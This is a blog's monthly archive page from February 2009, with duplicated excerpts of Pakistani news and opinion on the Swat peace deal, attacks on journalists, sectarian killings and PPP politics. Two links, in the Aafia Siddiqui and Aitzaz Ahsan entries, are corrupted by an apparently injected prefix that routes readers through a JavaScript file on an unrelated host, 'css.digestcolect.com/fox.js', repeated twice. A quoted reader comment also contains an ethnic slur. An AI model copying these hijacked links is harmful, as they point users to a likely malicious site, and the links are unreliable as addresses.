Monthly Archive:: February 2009
‘Pakistan had no choice but make a deal in Swat’ – Rahimullah Yusufzai: Sheela Bhatt in New DelhiFebruary 19, 2009 “Zameeni haqeeat alag hain. Swat ke log to aman aane se bahut khush hai! (The ground realties are different. The people of Swat valley are very happy to have peace!),” Rahimullah Yusufzai,
Ayaz Amir: Swat: doctrine of necessity (in its purest form): Swat: doctrine of necessity (in its purest form) Islamabad diary Friday, February 20, 2009 by Ayaz Amir Those armchair warriors — and there’s no shortage of them out here — who are wringing their hands over the Swat accord
Ayaz Amir: Swat: doctrine of necessity (in its purest form): Swat: doctrine of necessity (in its purest form) Islamabad diary Friday, February 20, 2009 by Ayaz Amir Those armchair warriors — and there’s no shortage of them out here — who are wringing their hands over the Swat accord
Dr Aafia Siddiqui: The other side of the picture: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/988, click this link if you are not redirected
Dr Aafia Siddiqui: The other side of the picture: Less grey A little more colour and substance has been added to the ghostly form of Dr Aafia Siddiqui, currently languishing in an American detention facility and said to be suffering severely from mental illness. An illness so severe
MQM versus Imran Khan’s PTI: An interesting conversation: Daily Express, 21 January 2009 Op-ed by Abbas Ather dated 20 June 2008: tamaaz khan said: MQM – KillerMQM – TerrorsistMQM -Thug I love the way semi-literate punjoos pull their hair why the most educated city of Pakistan chooses
Geo TV reporter Musa Khan Khel had 32 bullet wounds.: Slain Pak TV reporter had 32 bullet wounds Thursday, 19 February , 2009, 12:19 Islamabad: Thirty two bullets were pumped into TV reporter Musa Khan Khel in Pakistan’s Swat Valley two days after Islamabad allowed the Taliban to impose
Geo TV reporter Musa Khan Khel had 32 bullet wounds.: Slain Pak TV reporter had 32 bullet wounds Thursday, 19 February , 2009, 12:19 Islamabad: Thirty two bullets were pumped into TV reporter Musa Khan Khel in Pakistan’s Swat Valley two days after Islamabad allowed the Taliban to impose
Sufi Muhammad’s contradictory charisma: Maulana Sufi Muhammad of Tehreek-e Nifaz-e Shariat-e Muhammadi (TNSM) is now the hinge on which the peace of Swat revolves. He has committed himself to a number of things in his agreement with the NWFP government that he may
Sufi Muhammad’s contradictory charisma: Maulana Sufi Muhammad of Tehreek-e Nifaz-e Shariat-e Muhammadi (TNSM) is now the hinge on which the peace of Swat revolves. He has committed himself to a number of things in his agreement with the NWFP government that he may
Journalist Imtiaz Alam attacked in Lahore: The price of writing/speaking against Taliban and their sympathizers….: SAFMA secretary general Imtiaz Alam attacked * Assault followed by threatening phone call * Veteran journalist says will not stop speaking out against terror By Adnan Lodhi LAHORE: Unidentified men attacked senior journalist Imtiaz Alam late on Wednesday. Imtiaz
Journalist Imtiaz Alam attacked in Lahore: The price of writing/speaking against Taliban and their sympathizers….: SAFMA secretary general Imtiaz Alam attacked * Assault followed by threatening phone call * Veteran journalist says will not stop speaking out against terror By Adnan Lodhi LAHORE: Unidentified men attacked senior journalist Imtiaz Alam late on Wednesday. Imtiaz
Capitulation in Swat: Sharia? or ISI/Jihadi Agenda?: Capitulation in Swat Thursday, February 19, 2009 Sayed G B Shah Bokhari The words in the preamble to the Adl Regulation that “All laws against Sharia will be abolished and Sharia will be enforced under this justice” show that
Capitulation in Swat: Sharia?: Capitulation in Swat Thursday, February 19, 2009 Sayed G B Shah Bokhari The words in the preamble to the Adl Regulation that “All laws against Sharia will be abolished and Sharia will be enforced under this justice” show that
“Royally screwed”: Pakistan (Army) has essentially abandoned Pakistani citizens in Swat and thrown them to the mercy of the TNSM and the Taliban: Raptus regaliter Hit and run Thursday, February 19, 2009 Shakir Husain Latin and Punjabi have a lot in common. For starters there are some choice words in both languages, which simply cannot be found in other languages, nor do
"Royally screwed": Pakistan (Army) has essentially abandoned Pakistani citizens in Swat and thrown them to the mercy of the TNSM and the Taliban: Raptus regaliter Hit and run Thursday, February 19, 2009 Shakir Husain Latin and Punjabi have a lot in common. For starters there are some choice words in both languages, which simply cannot be found in other languages, nor do
Aitzaz Ahsan, PPP and Long March: A critical perspective – by Abbas Ather: Abbas Ather offers a critical perspective on Aitzaz Ahsan’s relationship with Pakistan People’s Party. Also read: An op-ed on this topic by Abbas Ather:http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&letusbuildpakistan.blogspot.com/2009/02/aitzaz-ahsan-and-ppp-critical.html PPP suspends Ch Aitzaz Ahsan as member of Central Executive Committee (CEC)
Aitzaz Ahsan, PPP and Long March: A critical perspective – by Abbas Ather: Related articles: PPP suspends Ch Aitzaz Ahsan as member of Central Executive Committee (CEC) You too Aitzaz Ahsan, the leader of the legal community? Pakistan’s left tilts towards right. Partners in crime? Abbas Ather offers a critical perspective on
Swat: Sufi Muhammad says: Democracy is anti-Islam and anti-Quran.: Swat: The latest saviour of Pakistan and Islam, engineered by the ISI-Jihadi Alliance, Mullah Sufi Muhammad says: Democracy is anti-Islam and anti-Quran. Back to school? Thursday, February 19, 2009Newspapers and television news channels have recently been carrying images of
Swat: Sufi Muhammad says: Democracy is anti-Islam and anti-Quran.: Swat: The latest saviour of Pakistan and Islam, engineered by the ISI-Jihadi Alliance, Mullah Sufi Muhammad says: Democracy is anti-Islam
A perspective on Zulfiqar Ali Bhutto and Tehrik Nizam-e-Mustafa – by Ataul Haq Qasmi: Ataul Haq Qasmi writes about a loyalist of PPP, Aslam Gurdaspuri and his resistance against dictatorship of General Zia ul Haq.
A perspective on Zulfiqar Ali Bhutto and Tehrik Nizam-e-Mustafa – by Ataul Haq Qasmi: Ataul Haq Qasmi writes about a loyalist of PPP, Aslam Gurdaspuri and his resistance against dictatorship of General Zia ul Haq
Taliban / Sipah-e-Sahaba kills a Barelvi scholar in Quetta: Leaders of Jamiat-e-Ulema-e-Pakistan (JUP), a religion-political organization representing Barelvis/Sufi Muslims in Pakistan has protested against the brutal killing of Allama Habibi by sectarian terrorists. …. Sunni leader gunned down in Quetta QUETTA: Unidentified men killed Jamaat Ahl-e-Sunnat Wal Jamaat-Noorani
Taliban / Sipah-e-Sahaba kill a Barelvi scholar in Quetta: Leaders of Jamiat-e-Ulema-e-Pakistan (JUP), a religion-political organization representing Barelvis/Sufi Muslims in Pakistan has protested against the brutal killing of Allama Habibi by sectarian terrorists. …. Sunni leader gunned down in Quetta QUETTA: Unidentified men killed Jamaat Ahl-e-Sunnat Wal
Geo news correspondent killed in Swat: A joint act of terror by Taliban and ISI?: The gruesome murder of Musa Khankhel, a correspondent of The News and Geo News in Swat, on Wednesday has sent a wave of shock, indignation and grief all over the country. He was brutally killed in Matta while covering
Geo news correspondent killed in Swat: The gruesome murder of Musa Khankhel, a correspondent of The News and Geo News in Swat, on Wednesday has sent a wave of shock, indignation and grief all over the country. He was brutally killed in Matta while covering
Amir Mir: Peace deal in Swat a high-risk affair: Govt-TNSM deal a high-risk affair Tuesday, February 17, 2009 By Amir Mir LAHORE: Islamabad’s decision to sign a peace deal with the Tehrik-e-Nifaz-e-Shariat-e-Mohammadi by enforcing the ‘Sharai Nizam-e-Adl Regulation’ in the Malakand division of the NWFP,
The advancing enemy – the Taliban regime in Pakistan…: The advancing enemy — Dr Manzur Ejaz Rulers averse to an independent judiciary and an equitable socio-economic order; an economic upper class hostile to paying its fair share in taxes; self-obsessed intellectuals and media persons; and a poverty-stricken population
Army as victim? – An analysis of Musharraf’s concerns: Ex-President and General (Retd) Pervez Musharraf said on Monday that “there is a global conspiracy to malign the armed forces and the Inter-Services Intelligence (ISI) in an attempt to weaken Pakistan”. He was responding to allegations levelled in a
Swat deal: an act of desperation? – Nasim Zehra: Swat deal: an act of desperation?Wednesday, February 18, 2009Nasim Zehra The writer is an Islamabad-based security analyst Given the circumstances that have prompted the government to enter into a peace deal with Maulvi Sufi Muhammad of the TNSM and
Sufi Muhammad rules Swat: Engineered by ISI, implemented by Taliban…: Sufi Muhammad-led Peace March kicks off in Swat Updated at: 1035 PST, Wednesday, February 18, 2009 SWAT: Tahrik-e-Nifaz Shariat Muhammadi (TNSM) Peace March led by its chief, Maulana Sufi Muhammad has kicked off here. Sources said that a large
Sufi Muhammad rules Swat: Sufi Muhammad-led Peace March kicks off in Swat Updated at: 1035 PST, Wednesday, February 18, 2009 SWAT: Tahrik-e-Nifaz Shariat Muhammadi (TNSM) Peace March led by its chief, Maulana Sufi Muhammad has kicked off here. Sources said that a large
PPP suspends Ch Aitzaz Ahsan as member of Central Executive Committee (CEC): PPP suspends Ch Aitzaz as member CEC LAHORE—Jehangir Badar, Secretary General Pakistan Peoples Party told while talking to reporters that membership of Chaudhry Aitzaz Ahsan from the Central Executive Committee has been suspended with immediate, here on Tuesday.He further
PPP suspends Ch Aitzaz Ahsan as member of Central Executive Committee (CEC): Related articles: Aitzaz Ahsan, PPP and Long March: A critical perspective – by Abbas Ather You too Aitzaz Ahsan, the leader of the legal community? Pakistan’s left tilts towards right. Partners in crime? PPP suspends Ch Aitzaz as member
Why the US bugged Pakistan Army generals – Rauf Klasra offers excerprts from David E Sanger’s book “The Inheritance: The World Obama Confronts…”: Why the US bugged Pakistan Army generals Monday, February 16, 2009 Book claims drone attacks began after ISI-Taliban coordination confirmed By Rauf Klasra ISLAMABAD: A new book by a New York Times journalist has levelled serious allegations against Pakistan
Why the US bugged Pakistan Army generals – Rauf Klasra offers excerprts from David E Sanger’s book “The Inheritance: The World Obama Confronts…": Why the US bugged Pakistan Army generals Monday, February 16, 2009 Book claims drone attacks began after ISI-Taliban coordination confirmed By Rauf Klasra ISLAMABAD: A new book by a New York Times journalist has levelled serious allegations against Pakistan
Why the US bugged Pakistan Army generals – Rauf Klasra offers excerprts from David E Sanger’s book “The Inheritance: The World Obama Confronts…": Why the US bugged Pakistan Army generals Monday, February 16, 2009 Book claims drone attacks began after ISI-Taliban coordination confirmed By Rauf Klasra ISLAMABAD: A new book by a New York Times journalist has levelled serious allegations against Pakistan